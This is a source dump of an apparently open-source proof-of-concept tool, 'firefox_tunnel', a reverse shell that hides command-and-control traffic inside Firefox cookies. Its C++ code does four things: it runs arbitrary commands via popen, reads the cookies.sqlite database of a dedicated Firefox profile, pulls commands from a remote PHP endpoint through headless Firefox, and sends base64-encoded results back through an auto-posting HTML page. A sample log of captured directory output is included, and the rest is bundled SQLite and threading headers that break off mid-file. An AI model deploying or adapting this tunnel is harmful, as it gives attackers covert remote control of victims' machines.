array2[j] = base64_chars.find(array2[j]); 94 | 95 | array1[0] = (array2[0] << 2) + ((array2[1] & 0x30) >> 4); 96 | array1[1] = ((array2[1] & 0xf) << 4) + ((array2[2] & 0x3c) >> 2); 97 | array1[2] = ((array2[2] & 0x3) << 6) + array2[3]; 98 | 99 | for (j = 0; (j < i - 1); j++) 100 | ret += array1[j]; 101 | } 102 | 103 | return ret; 104 | } 105 | 106 | string readfile(const string &filepath) 107 | { 108 | string buffer; 109 | std::ifstream fin(filepath.c_str()); 110 | getline(fin, buffer, char(-1)); 111 | fin.close(); 112 | 113 | return buffer; 114 | } 115 | 116 | string exec_command(string cmd) 117 | { 118 | std::array buffer; 119 | string result; 120 | std::shared_ptr pipe(popen(cmd.c_str(), "r"), pclose); 121 | 122 | if(!pipe) throw std::runtime_error("popen() failed!"); 123 | 124 | while(!feof(pipe.get())) 125 | { 126 | if(fgets(buffer.data(), 128, pipe.get()) != nullptr) 127 | result += buffer.data(); 128 | } 129 | 130 | return result; 131 | } 132 | 133 | string get_unix_username() 134 | { 135 | struct passwd *pw; 136 | uid_t uid; 137 | int c; 138 | 139 | uid = geteuid(); 140 | pw = getpwuid(uid); 141 | if(pw) 142 | return string(pw->pw_name); 143 | 144 | return string(""); 145 | } 146 | 147 | string get_default_firefox_profiledir(const string& name) 148 | { 149 | DIR *dir = opendir(name.c_str()); 150 | 151 | if(dir) 152 | { 153 | struct dirent *ent; 154 | 155 | while((ent = readdir(dir)) != NULL) 156 | { 157 | string test=ent->d_name; 158 | 159 | if(test.find("presto4")!=string::npos) 160 | return test; 161 | 162 | 163 | } 164 | } 165 | else 166 | cout << "Error opening directory" << endl; 167 | 168 | return "error"; 169 | 170 | } 171 | 172 | string get_firefox_sqlite_path() 173 | { 174 | string user=get_unix_username(); 175 | string path="/home/"+user+"/.mozilla/firefox/"; 176 | string database_dir=get_default_firefox_profiledir(path); 177 | string database_path; 178 | database_path=path+database_dir+"/cookies.sqlite"; 179 | 180 | return database_path; 181 | } 182 | 183 | // write cmd command in coookie 184 | void write_cmd_cookie() 185 | { 186 | string str1="http://", str2="/firefox_shell/firefox_cmd_tunnel.php"; 187 | string path=str1+domain+str2; 188 | string firefox_params="/usr/bin/timeout 2s /usr/bin/firefox -P \"presto4\" -headless -url "+path; 189 | cout << firefox_params+"\n" << endl; 190 | std::system(firefox_params.c_str()); 191 | } 192 | 193 | void Write_File(string filename, string buf) 194 | { 195 | ofstream myfile; 196 | myfile.open (filename); 197 | myfile << buf; 198 | myfile.close(); 199 | } 200 | 201 | void construct_html(string result_cmd, string filename) 202 | { 203 | string content_html; 204 | string result_base64=base64_encode(reinterpret_cast(result_cmd.c_str()),result_cmd.length() ); 205 | content_html="
"; 206 | content_html+="
result"; 207 | content_html+="
"; 208 | content_html+=""; 209 | Write_File(filename,content_html); 210 | } 211 | 212 | void send_result_cmd(string html_file) 213 | { 214 | string firefox_params="/usr/bin/timeout 2s /usr/bin/firefox -P \"presto4\" -headless "+html_file; 215 | cout << firefox_params+"\n" << endl; 216 | std::system(firefox_params.c_str()); 217 | //todo add error test... 218 | } 219 | 220 | 221 | static int callback(void *data, int argc, char **argv, char **azColName) 222 | { 223 | int i=0; 224 | 225 | while(i 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "lib/sqlite3.h" 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | using namespace std; 28 | 29 | extern string domain; 30 | 31 | static const string base64_chars = 32 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 33 | "abcdefghijklmnopqrstuvwxyz" 34 | "0123456789+/"; 35 | 36 | static inline bool is_base64(unsigned char c); 37 | string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len); 38 | string base64_decode(string const& encoded_string); 39 | string readfile(const string &filepath); 40 | string exec_command(string cmd); 41 | string get_unix_username(); 42 | string get_default_firefox_profiledir(const string& name); 43 | string get_firefox_sqlite_path(); 44 | void write_cmd_cookie(); // write cmd command in cookie 45 | void Write_File(string filename, string buf); 46 | void construct_html(string result_cmd, string filename); // write html to auto js to POST, to send result of CMD 47 | void send_result_cmd(string html_file); 48 | static int callback(void *data, int argc, char **argv, char **azColName); // result of select query in cookies.sqlite 49 | void start_cookie_tunnel(); 50 | 51 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/bin/firefox_tunnel.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/server/Firefox_Tunnel_win32/bin/firefox_tunnel.exe -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/bin/output.html: -------------------------------------------------------------------------------- 1 |
result
-------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/bin/tmp_cmd.log: -------------------------------------------------------------------------------- 1 | Volume in drive C has no label. 2 | Volume Serial Number is B0E6-F00B 3 | 4 | Directory of c:\ 5 | 6 | 06/10/2009 01:42 PM 24 autoexec.bat 7 | 06/10/2009 01:42 PM 10 config.sys 8 | 05/27/2017 05:16 AM cygwin 9 | 12/16/2017 07:18 PM MinGW 10 | 07/13/2009 06:37 PM PerfLogs 11 | 12/17/2017 03:54 PM Program Files 12 | 05/26/2017 01:24 AM Users 13 | 05/25/2017 10:57 PM Windows 14 | 2 File(s) 34 bytes 15 | 6 Dir(s) 998,051,840 bytes free 16 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/makefile: -------------------------------------------------------------------------------- 1 | CC=c++ 2 | st= -fstack-protector-all 3 | firefoxtunnel: src/firefox_tunnel.cpp 4 | gcc -c src/lib/sqlite3.c 5 | $(CC) -c src/*.cpp $(st) 6 | $(CC) -o bin/firefox_tunnel.exe *.o $(st) 7 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/readme_start.txt: -------------------------------------------------------------------------------- 1 | 2 | Compile with command: 3 | mingw32-make 4 | -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/src/firefox_tunnel.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Firefox's cookies reverse shell - PoC version - THis is Server 3 | Coded by CoolerVoid - 17/12/2017 4 | 5 | To compile: 6 | c++ -o test test.cpp utils.cpp sqlite.o 7 | 8 | 9 | */ 10 | #include 11 | #include 12 | #include 13 | #include "utils.h" 14 | using namespace std; 15 | 16 | int main() 17 | { 18 | cout << "\nFirefox remote tunnel\nby CoolerVoid\n" < 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #ifdef _GLIBCXX_HAS_GTHREADS 32 | #error This version of MinGW seems to include a win32 port of pthreads, and probably \ 33 | already has C++11 std threading classes implemented, based on pthreads. \ 34 | It is likely that you will get class redefinition errors below, and unfortunately \ 35 | this implementation can not be used standalone \ 36 | and independent of the system header, since it relies on it for \ 37 | std::unique_lock and other utility classes. If you would still like to use this \ 38 | implementation (as it is more lightweight), you have to edit the \ 39 | c++-config.h system header of your MinGW to not define _GLIBCXX_HAS_GTHREADS. \ 40 | This will prevent system headers from defining actual threading classes while still \ 41 | defining the necessary utility classes. 42 | #endif 43 | 44 | //instead of INVALID_HANDLE_VALUE _beginthreadex returns 0 45 | #define _STD_THREAD_INVALID_HANDLE 0 46 | namespace std 47 | { 48 | 49 | class thread 50 | { 51 | public: 52 | class id 53 | { 54 | DWORD mId; 55 | void clear() {mId = 0;} 56 | friend class thread; 57 | public: 58 | explicit id(DWORD aId=0):mId(aId){} 59 | bool operator==(const id& other) const {return mId == other.mId;} 60 | }; 61 | protected: 62 | HANDLE mHandle; 63 | id mThreadId; 64 | public: 65 | typedef HANDLE native_handle_type; 66 | id get_id() const noexcept {return mThreadId;} 67 | native_handle_type native_handle() const {return mHandle;} 68 | thread(): mHandle(_STD_THREAD_INVALID_HANDLE){} 69 | 70 | thread(thread&& other) 71 | :mHandle(other.mHandle), mThreadId(other.mThreadId) 72 | { 73 | other.mHandle = _STD_THREAD_INVALID_HANDLE; 74 | other.mThreadId.clear(); 75 | } 76 | 77 | thread(const thread &other)=delete; 78 | 79 | template 80 | explicit thread(Function&& f, Args&&... args) 81 | { 82 | typedef decltype(std::bind(f, args...)) Call; 83 | Call* call = new Call(std::bind(f, args...)); 84 | mHandle = (HANDLE)_beginthreadex(NULL, 0, threadfunc, 85 | (LPVOID)call, 0, (unsigned*)&(mThreadId.mId)); 86 | if (mHandle == _STD_THREAD_INVALID_HANDLE) 87 | { 88 | int errnum = errno; 89 | delete call; 90 | throw std::system_error(errnum, std::generic_category()); 91 | } 92 | } 93 | template 94 | static unsigned int __stdcall threadfunc(void* arg) 95 | { 96 | std::unique_ptr upCall(static_cast(arg)); 97 | (*upCall)(); 98 | return (unsigned long)0; 99 | } 100 | bool joinable() const {return mHandle != _STD_THREAD_INVALID_HANDLE;} 101 | void join() 102 | { 103 | if (get_id() == id(GetCurrentThreadId())) 104 | throw std::system_error(EDEADLK, std::generic_category()); 105 | if (mHandle == _STD_THREAD_INVALID_HANDLE) 106 | throw std::system_error(ESRCH, std::generic_category()); 107 | if (!joinable()) 108 | throw std::system_error(EINVAL, std::generic_category()); 109 | WaitForSingleObject(mHandle, INFINITE); 110 | CloseHandle(mHandle); 111 | mHandle = _STD_THREAD_INVALID_HANDLE; 112 | mThreadId.clear(); 113 | } 114 | 115 | ~thread() 116 | { 117 | if (joinable()) 118 | std::terminate(); 119 | } 120 | thread& operator=(const thread&) = delete; 121 | thread& operator=(thread&& other) noexcept 122 | { 123 | if (joinable()) 124 | std::terminate(); 125 | swap(std::forward(other)); 126 | return *this; 127 | } 128 | void swap(thread&& other) noexcept 129 | { 130 | std::swap(mHandle, other.mHandle); 131 | std::swap(mThreadId.mId, other.mThreadId.mId); 132 | } 133 | static unsigned int hardware_concurrency() noexcept 134 | { 135 | static int ncpus = -1; 136 | if (ncpus == -1) 137 | { 138 | SYSTEM_INFO sysinfo; 139 | GetSystemInfo(&sysinfo); 140 | ncpus = sysinfo.dwNumberOfProcessors; 141 | } 142 | return ncpus; 143 | } 144 | void detach() 145 | { 146 | if (!joinable()) 147 | throw std::system_error(EINVAL, std::generic_category()); 148 | if (mHandle != _STD_THREAD_INVALID_HANDLE) 149 | { 150 | CloseHandle(mHandle); 151 | mHandle = _STD_THREAD_INVALID_HANDLE; 152 | } 153 | mThreadId.clear(); 154 | } 155 | }; 156 | 157 | namespace this_thread 158 | { 159 | inline thread::id get_id() {return thread::id(GetCurrentThreadId());} 160 | inline void yield() {Sleep(0);} 161 | template< class Rep, class Period > 162 | void sleep_for( const std::chrono::duration& sleep_duration) 163 | { 164 | Sleep(std::chrono::duration_cast(sleep_duration).count()); 165 | } 166 | template 167 | void sleep_until(const std::chrono::time_point& sleep_time) 168 | { 169 | sleep_for(sleep_time-Clock::now()); 170 | } 171 | } 172 | 173 | } 174 | #endif // WIN32STDTHREAD_H -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/src/lib/sqlite3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/server/Firefox_Tunnel_win32/src/lib/sqlite3.o -------------------------------------------------------------------------------- /server/Firefox_Tunnel_win32/src/lib/sqlite3ext.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** 2006 June 7 3 | ** 4 | ** The author disclaims copyright to this source code. In place of 5 | ** a legal notice, here is a blessing: 6 | ** 7 | ** May you do good and not evil. 8 | ** May you find forgiveness for yourself and forgive others. 9 | ** May you share freely, never taking more than you give. 10 | ** 11 | ************************************************************************* 12 | ** This header file defines the SQLite interface for use by 13 | ** shared libraries that want to be imported as extensions into 14 | ** an SQLite instance. Shared libraries that intend to be loaded 15 | ** as extensions by SQLite should #include this file instead of 16 | ** sqlite3.h. 17 | */ 18 | #ifndef SQLITE3EXT_H 19 | #define SQLITE3EXT_H 20 | #include "sqlite3.h" 21 | 22 | /* 23 | ** The following structure holds pointers to all of the SQLite API 24 | ** routines. 25 | ** 26 | ** WARNING: In order to maintain backwards compatibility, add new 27 | ** interfaces to the end of this structure only. If you insert new 28 | ** interfaces in the middle of this structure, then older different 29 | ** versions of SQLite will not be able to load each other's shared 30 | ** libraries! 31 | */ 32 | struct sqlite3_api_routines { 33 | void * (*aggregate_context)(sqlite3_context*,int nBytes); 34 | int (*aggregate_count)(sqlite3_context*); 35 | int (*bind_blob)(sqlite3_stmt*,int,const void*,int n,void(*)(void*)); 36 | int (*bind_double)(sqlite3_stmt*,int,double); 37 | int (*bind_int)(sqlite3_stmt*,int,int); 38 | int (*bind_int64)(sqlite3_stmt*,int,sqlite_int64); 39 | int (*bind_null)(sqlite3_stmt*,int); 40 | int (*bind_parameter_count)(sqlite3_stmt*); 41 | int (*bind_parameter_index)(sqlite3_stmt*,const char*zName); 42 | const char * (*bind_parameter_name)(sqlite3_stmt*,int); 43 | int (*bind_text)(sqlite3_stmt*,int,const char*,int n,void(*)(void*)); 44 | int (*bind_text16)(sqlite3_stmt*,int,const void*,int,void(*)(void*)); 45 | int (*bind_value)(sqlite3_stmt*,int,const sqlite3_value*); 46 | int (*busy_handler)(sqlite3*,int(*)(void*,int),void*); 47 | int (*busy_timeout)(sqlite3*,int ms); 48 | int (*changes)(sqlite3*); 49 | int (*close)(sqlite3*); 50 | int (*collation_needed)(sqlite3*,void*,void(*)(void*,sqlite3*, 51 | int eTextRep,const char*)); 52 | int (*collation_needed16)(sqlite3*,void*,void(*)(void*,sqlite3*, 53 | int eTextRep,const void*)); 54 | const void * (*column_blob)(sqlite3_stmt*,int iCol); 55 | int (*column_bytes)(sqlite3_stmt*,int iCol); 56 | int (*column_bytes16)(sqlite3_stmt*,int iCol); 57 | int (*column_count)(sqlite3_stmt*pStmt); 58 | const char * (*column_database_name)(sqlite3_stmt*,int); 59 | const void * (*column_database_name16)(sqlite3_stmt*,int); 60 | const char * (*column_decltype)(sqlite3_stmt*,int i); 61 | const void * (*column_decltype16)(sqlite3_stmt*,int); 62 | double (*column_double)(sqlite3_stmt*,int iCol); 63 | int (*column_int)(sqlite3_stmt*,int iCol); 64 | sqlite_int64 (*column_int64)(sqlite3_stmt*,int iCol); 65 | const char * (*column_name)(sqlite3_stmt*,int); 66 | const void * (*column_name16)(sqlite3_stmt*,int); 67 | const char * (*column_origin_name)(sqlite3_stmt*,int); 68 | const void * (*column_origin_name16)(sqlite3_stmt*,int); 69 | const char * (*column_table_name)(sqlite3_stmt*,int); 70 | const void * (*column_table_name16)(sqlite3_stmt*,int); 71 | const unsigned char * (*column_text)(sqlite3_stmt*,int iCol); 72 | const void * (*column_text16)(sqlite3_stmt*,int iCol); 73 | int (*column_type)(sqlite3_stmt*,int iCol); 74 | sqlite3_value* (*column_value)(sqlite3_stmt*,int iCol); 75 | void * (*commit_hook)(sqlite3*,int(*)(void*),void*); 76 | int (*complete)(const char*sql); 77 | int (*complete16)(const void*sql); 78 | int (*create_collation)(sqlite3*,const char*,int,void*, 79 | int(*)(void*,int,const void*,int,const void*)); 80 | int (*create_collation16)(sqlite3*,const void*,int,void*, 81 | int(*)(void*,int,const void*,int,const void*)); 82 | int (*create_function)(sqlite3*,const char*,int,int,void*, 83 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 84 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 85 | void (*xFinal)(sqlite3_context*)); 86 | int (*create_function16)(sqlite3*,const void*,int,int,void*, 87 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 88 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 89 | void (*xFinal)(sqlite3_context*)); 90 | int (*create_module)(sqlite3*,const char*,const sqlite3_module*,void*); 91 | int (*data_count)(sqlite3_stmt*pStmt); 92 | sqlite3 * (*db_handle)(sqlite3_stmt*); 93 | int (*declare_vtab)(sqlite3*,const char*); 94 | int (*enable_shared_cache)(int); 95 | int (*errcode)(sqlite3*db); 96 | const char * (*errmsg)(sqlite3*); 97 | const void * (*errmsg16)(sqlite3*); 98 | int (*exec)(sqlite3*,const char*,sqlite3_callback,void*,char**); 99 | int (*expired)(sqlite3_stmt*); 100 | int (*finalize)(sqlite3_stmt*pStmt); 101 | void (*free)(void*); 102 | void (*free_table)(char**result); 103 | int (*get_autocommit)(sqlite3*); 104 | void * (*get_auxdata)(sqlite3_context*,int); 105 | int (*get_table)(sqlite3*,const char*,char***,int*,int*,char**); 106 | int (*global_recover)(void); 107 | void (*interruptx)(sqlite3*); 108 | sqlite_int64 (*last_insert_rowid)(sqlite3*); 109 | const char * (*libversion)(void); 110 | int (*libversion_number)(void); 111 | void *(*malloc)(int); 112 | char * (*mprintf)(const char*,...); 113 | int (*open)(const char*,sqlite3**); 114 | int (*open16)(const void*,sqlite3**); 115 | int (*prepare)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); 116 | int (*prepare16)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); 117 | void * (*profile)(sqlite3*,void(*)(void*,const char*,sqlite_uint64),void*); 118 | void (*progress_handler)(sqlite3*,int,int(*)(void*),void*); 119 | void *(*realloc)(void*,int); 120 | int (*reset)(sqlite3_stmt*pStmt); 121 | void (*result_blob)(sqlite3_context*,const void*,int,void(*)(void*)); 122 | void (*result_double)(sqlite3_context*,double); 123 | void (*result_error)(sqlite3_context*,const char*,int); 124 | void (*result_error16)(sqlite3_context*,const void*,int); 125 | void (*result_int)(sqlite3_context*,int); 126 | void (*result_int64)(sqlite3_context*,sqlite_int64); 127 | void (*result_null)(sqlite3_context*); 128 | void (*result_text)(sqlite3_context*,const char*,int,void(*)(void*)); 129 | void (*result_text16)(sqlite3_context*,const void*,int,void(*)(void*)); 130 | void (*result_text16be)(sqlite3_context*,const void*,int,void(*)(void*)); 131 | void (*result_text16le)(sqlite3_context*,const void*,int,void(*)(void*)); 132 | void (*result_value)(sqlite3_context*,sqlite3_value*); 133 | void * (*rollback_hook)(sqlite3*,void(*)(void*),void*); 134 | int (*set_authorizer)(sqlite3*,int(*)(void*,int,const char*,const char*, 135 | const char*,const char*),void*); 136 | void (*set_auxdata)(sqlite3_context*,int,void*,void (*)(void*)); 137 | char * (*xsnprintf)(int,char*,const char*,...); 138 | int (*step)(sqlite3_stmt*); 139 | int (*table_column_metadata)(sqlite3*,const char*,const char*,const char*, 140 | char const**,char const**,int*,int*,int*); 141 | void (*thread_cleanup)(void); 142 | int (*total_changes)(sqlite3*); 143 | void * (*trace)(sqlite3*,void(*xTrace)(void*,const char*),void*); 144 | int (*transfer_bindings)(sqlite3_stmt*,sqlite3_stmt*); 145 | void * (*update_hook)(sqlite3*,void(*)(void*,int ,char const*,char const*, 146 | sqlite_int64),void*); 147 | void * (*user_data)(sqlite3_context*); 148 | const void * (*value_blob)(sqlite3_value*); 149 | int (*value_bytes)(sqlite3_value*); 150 | int (*value_bytes16)(sqlite3_value*); 151 | double (*value_double)(sqlite3_value*); 152 | int (*value_int)(sqlite3_value*); 153 | sqlite_int64 (*value_int64)(sqlite3_value*); 154 | int (*value_numeric_type)(sqlite3_value*); 155 | const unsigned char * (*value_text)(sqlite3_value*); 156 | const void * (*value_text16)(sqlite3_value*); 157 | const void * (*value_text16be)(sqlite3_value*); 158 | const void * (*value_text16le)(sqlite3_value*); 159 | int (*value_type)(sqlite3_value*); 160 | char *(*vmprintf)(const char*,va_list); 161 | /* Added ??? */ 162 | int (*overload_function)(sqlite3*, const char *zFuncName, int nArg); 163 | /* Added by 3.3.13 */ 164 | int (*prepare_v2)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); 165 | int (*prepare16_v2)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); 166 | int (*clear_bindings)(sqlite3_stmt*); 167 | /* Added by 3.4.1 */ 168 | int (*create_module_v2)(sqlite3*,const char*,const sqlite3_module*,void*, 169 | void (*xDestroy)(void *)); 170 | /* Added by 3.5.0 */ 171 | int (*bind_zeroblob)(sqlite3_stmt*,int,int); 172 | int (*blob_bytes)(sqlite3_blob*); 173 | int (*blob_close)(sqlite3_blob*); 174 | int (*blob_open)(sqlite3*,const char*,const char*,const char*,sqlite3_int64, 175 | int,sqlite3_blob**); 176 | int (*blob_read)(sqlite3_blob*,void*,int,int); 177 | int (*blob_write)(sqlite3_blob*,const void*,int,int); 178 | int (*create_collation_v2)(sqlite3*,const char*,int,void*, 179 | int(*)(void*,int,const void*,int,const void*), 180 | void(*)(void*)); 181 | int (*file_control)(sqlite3*,const char*,int,void*); 182 | sqlite3_int64 (*memory_highwater)(int); 183 | sqlite3_int64 (*memory_used)(void); 184 | sqlite3_mutex *(*mutex_alloc)(int); 185 | void (*mutex_enter)(sqlite3_mutex*); 186 | void (*mutex_free)(sqlite3_mutex*); 187 | void (*mutex_leave)(sqlite3_mutex*); 188 | int (*mutex_try)(sqlite3_mutex*); 189 | int (*open_v2)(const char*,sqlite3**,int,const char*); 190 | int (*release_memory)(int); 191 | void (*result_error_nomem)(sqlite3_context*); 192 | void (*result_error_toobig)(sqlite3_context*); 193 | int (*sleep)(int); 194 | void (*soft_heap_limit)(int); 195 | sqlite3_vfs *(*vfs_find)(const char*); 196 | int (*vfs_register)(sqlite3_vfs*,int); 197 | int (*vfs_unregister)(sqlite3_vfs*); 198 | int (*xthreadsafe)(void); 199 | void (*result_zeroblob)(sqlite3_context*,int); 200 | void (*result_error_code)(sqlite3_context*,int); 201 | int (*test_control)(int, ...); 202 | void (*randomness)(int,void*); 203 | sqlite3 *(*context_db_handle)(sqlite3_context*); 204 | int (*extended_result_codes)(sqlite3*,int); 205 | int (*limit)(sqlite3*,int,int); 206 | sqlite3_stmt *(*next_stmt)(sqlite3*,sqlite3_stmt*); 207 | const char *(*sql)(sqlite3_stmt*); 208 | int (*status)(int,int*,int*,int); 209 | int (*backup_finish)(sqlite3_backup*); 210 | sqlite3_backup *(*backup_init)(sqlite3*,const char*,sqlite3*,const char*); 211 | int (*backup_pagecount)(sqlite3_backup*); 212 | int (*backup_remaining)(sqlite3_backup*); 213 | int (*backup_step)(sqlite3_backup*,int); 214 | const char *(*compileoption_get)(int); 215 | int (*compileoption_used)(const char*); 216 | int (*create_function_v2)(sqlite3*,const char*,int,int,void*, 217 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 218 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 219 | void (*xFinal)(sqlite3_context*), 220 | void(*xDestroy)(void*)); 221 | int (*db_config)(sqlite3*,int,...); 222 | sqlite3_mutex *(*db_mutex)(sqlite3*); 223 | int (*db_status)(sqlite3*,int,int*,int*,int); 224 | int (*extended_errcode)(sqlite3*); 225 | void (*log)(int,const char*,...); 226 | sqlite3_int64 (*soft_heap_limit64)(sqlite3_int64); 227 | const char *(*sourceid)(void); 228 | int (*stmt_status)(sqlite3_stmt*,int,int); 229 | int (*strnicmp)(const char*,const char*,int); 230 | int (*unlock_notify)(sqlite3*,void(*)(void**,int),void*); 231 | int (*wal_autocheckpoint)(sqlite3*,int); 232 | int (*wal_checkpoint)(sqlite3*,const char*); 233 | void *(*wal_hook)(sqlite3*,int(*)(void*,sqlite3*,const char*,int),void*); 234 | int (*blob_reopen)(sqlite3_blob*,sqlite3_int64); 235 | int (*vtab_config)(sqlite3*,int op,...); 236 | int (*vtab_on_conflict)(sqlite3*); 237 | /* Version 3.7.16 and later */ 238 | int (*close_v2)(sqlite3*); 239 | const char *(*db_filename)(sqlite3*,const char*); 240 | int (*db_readonly)(sqlite3*,const char*); 241 | int (*db_release_memory)(sqlite3*); 242 | const char *(*errstr)(int); 243 | int (*stmt_busy)(sqlite3_stmt*); 244 | int (*stmt_readonly)(sqlite3_stmt*); 245 | int (*stricmp)(const char*,const char*); 246 | int (*uri_boolean)(const char*,const char*,int); 247 | sqlite3_int64 (*uri_int64)(const char*,const char*,sqlite3_int64); 248 | const char *(*uri_parameter)(const char*,const char*); 249 | char *(*xvsnprintf)(int,char*,const char*,va_list); 250 | int (*wal_checkpoint_v2)(sqlite3*,const char*,int,int*,int*); 251 | /* Version 3.8.7 and later */ 252 | int (*auto_extension)(void(*)(void)); 253 | int (*bind_blob64)(sqlite3_stmt*,int,const void*,sqlite3_uint64, 254 | void(*)(void*)); 255 | int (*bind_text64)(sqlite3_stmt*,int,const char*,sqlite3_uint64, 256 | void(*)(void*),unsigned char); 257 | int (*cancel_auto_extension)(void(*)(void)); 258 | int (*load_extension)(sqlite3*,const char*,const char*,char**); 259 | void *(*malloc64)(sqlite3_uint64); 260 | sqlite3_uint64 (*msize)(void*); 261 | void *(*realloc64)(void*,sqlite3_uint64); 262 | void (*reset_auto_extension)(void); 263 | void (*result_blob64)(sqlite3_context*,const void*,sqlite3_uint64, 264 | void(*)(void*)); 265 | void (*result_text64)(sqlite3_context*,const char*,sqlite3_uint64, 266 | void(*)(void*), unsigned char); 267 | int (*strglob)(const char*,const char*); 268 | /* Version 3.8.11 and later */ 269 | sqlite3_value *(*value_dup)(const sqlite3_value*); 270 | void (*value_free)(sqlite3_value*); 271 | int (*result_zeroblob64)(sqlite3_context*,sqlite3_uint64); 272 | int (*bind_zeroblob64)(sqlite3_stmt*, int, sqlite3_uint64); 273 | /* Version 3.9.0 and later */ 274 | unsigned int (*value_subtype)(sqlite3_value*); 275 | void (*result_subtype)(sqlite3_context*,unsigned int); 276 | /* Version 3.10.0 and later */ 277 | int (*status64)(int,sqlite3_int64*,sqlite3_int64*,int); 278 | int (*strlike)(const char*,const char*,unsigned int); 279 | int (*db_cacheflush)(sqlite3*); 280 | /* Version 3.12.0 and later */ 281 | int (*system_errno)(sqlite3*); 282 | /* Version 3.14.0 and later */ 283 | int (*trace_v2)(sqlite3*,unsigned,int(*)(unsigned,void*,void*,void*),void*); 284 | char *(*expanded_sql)(sqlite3_stmt*); 285 | /* Version 3.18.0 and later */ 286 | void (*set_last_insert_rowid)(sqlite3*,sqlite3_int64); 287 | /* Version 3.20.0 and later */ 288 | int (*prepare_v3)(sqlite3*,const char*,int,unsigned int, 289 | sqlite3_stmt**,const char**); 290 | int (*prepare16_v3)(sqlite3*,const void*,int,unsigned int, 291 | sqlite3_stmt**,const void**); 292 | int (*bind_pointer)(sqlite3_stmt*,int,void*,const char*,void(*)(void*)); 293 | void (*result_pointer)(sqlite3_context*,void*,const char*,void(*)(void*)); 294 | void *(*value_pointer)(sqlite3_value*,const char*); 295 | }; 296 | 297 | /* 298 | ** This is the function signature used for all extension entry points. It 299 | ** is also defined in the file "loadext.c". 300 | */ 301 | typedef int (*sqlite3_loadext_entry)( 302 | sqlite3 *db, /* Handle to the database. */ 303 | char **pzErrMsg, /* Used to set error string on failure. */ 304 | const sqlite3_api_routines *pThunk /* Extension API function pointers. */ 305 | ); 306 | 307 | /* 308 | ** The following macros redefine the API routines so that they are 309 | ** redirected through the global sqlite3_api structure. 310 | ** 311 | ** This header file is also used by the loadext.c source file 312 | ** (part of the main SQLite library - not an extension) so that 313 | ** it can get access to the sqlite3_api_routines structure 314 | ** definition. But the main library does not want to redefine 315 | ** the API. So the redefinition macros are only valid if the 316 | ** SQLITE_CORE macros is undefined. 317 | */ 318 | #if !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) 319 | #define sqlite3_aggregate_context sqlite3_api->aggregate_context 320 | #ifndef SQLITE_OMIT_DEPRECATED 321 | #define sqlite3_aggregate_count sqlite3_api->aggregate_count 322 | #endif 323 | #define sqlite3_bind_blob sqlite3_api->bind_blob 324 | #define sqlite3_bind_double sqlite3_api->bind_double 325 | #define sqlite3_bind_int sqlite3_api->bind_int 326 | #define sqlite3_bind_int64 sqlite3_api->bind_int64 327 | #define sqlite3_bind_null sqlite3_api->bind_null 328 | #define sqlite3_bind_parameter_count sqlite3_api->bind_parameter_count 329 | #define sqlite3_bind_parameter_index sqlite3_api->bind_parameter_index 330 | #define sqlite3_bind_parameter_name sqlite3_api->bind_parameter_name 331 | #define sqlite3_bind_text sqlite3_api->bind_text 332 | #define sqlite3_bind_text16 sqlite3_api->bind_text16 333 | #define sqlite3_bind_value sqlite3_api->bind_value 334 | #define sqlite3_busy_handler sqlite3_api->busy_handler 335 | #define sqlite3_busy_timeout sqlite3_api->busy_timeout 336 | #define sqlite3_changes sqlite3_api->changes 337 | #define sqlite3_close sqlite3_api->close 338 | #define sqlite3_collation_needed sqlite3_api->collation_needed 339 | #define sqlite3_collation_needed16 sqlite3_api->collation_needed16 340 | #define sqlite3_column_blob sqlite3_api->column_blob 341 | #define sqlite3_column_bytes sqlite3_api->column_bytes 342 | #define sqlite3_column_bytes16 sqlite3_api->column_bytes16 343 | #define sqlite3_column_count sqlite3_api->column_count 344 | #define sqlite3_column_database_name sqlite3_api->column_database_name 345 | #define sqlite3_column_database_name16 sqlite3_api->column_database_name16 346 | #define sqlite3_column_decltype sqlite3_api->column_decltype 347 | #define sqlite3_column_decltype16 sqlite3_api->column_decltype16 348 | #define sqlite3_column_double sqlite3_api->column_double 349 | #define sqlite3_column_int sqlite3_api->column_int 350 | #define sqlite3_column_int64 sqlite3_api->column_int64 351 | #define sqlite3_column_name sqlite3_api->column_name 352 | #define sqlite3_column_name16 sqlite3_api->column_name16 353 | #define sqlite3_column_origin_name sqlite3_api->column_origin_name 354 | #define sqlite3_column_origin_name16 sqlite3_api->column_origin_name16 355 | #define sqlite3_column_table_name sqlite3_api->column_table_name 356 | #define sqlite3_column_table_name16 sqlite3_api->column_table_name16 357 | #define sqlite3_column_text sqlite3_api->column_text 358 | #define sqlite3_column_text16 sqlite3_api->column_text16 359 | #define sqlite3_column_type sqlite3_api->column_type 360 | #define sqlite3_column_value sqlite3_api->column_value 361 | #define sqlite3_commit_hook sqlite3_api->commit_hook 362 | #define sqlite3_complete sqlite3_api->complete 363 | #define 